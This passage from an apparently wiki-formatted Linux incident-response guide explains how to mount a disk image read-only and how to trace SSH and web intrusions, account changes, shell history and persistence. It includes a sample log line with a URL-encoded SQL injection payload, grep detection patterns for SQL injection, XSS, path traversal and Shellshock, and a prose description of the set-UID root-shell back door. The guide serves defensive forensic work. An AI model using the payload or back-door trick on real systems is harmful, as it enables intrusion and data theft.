sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
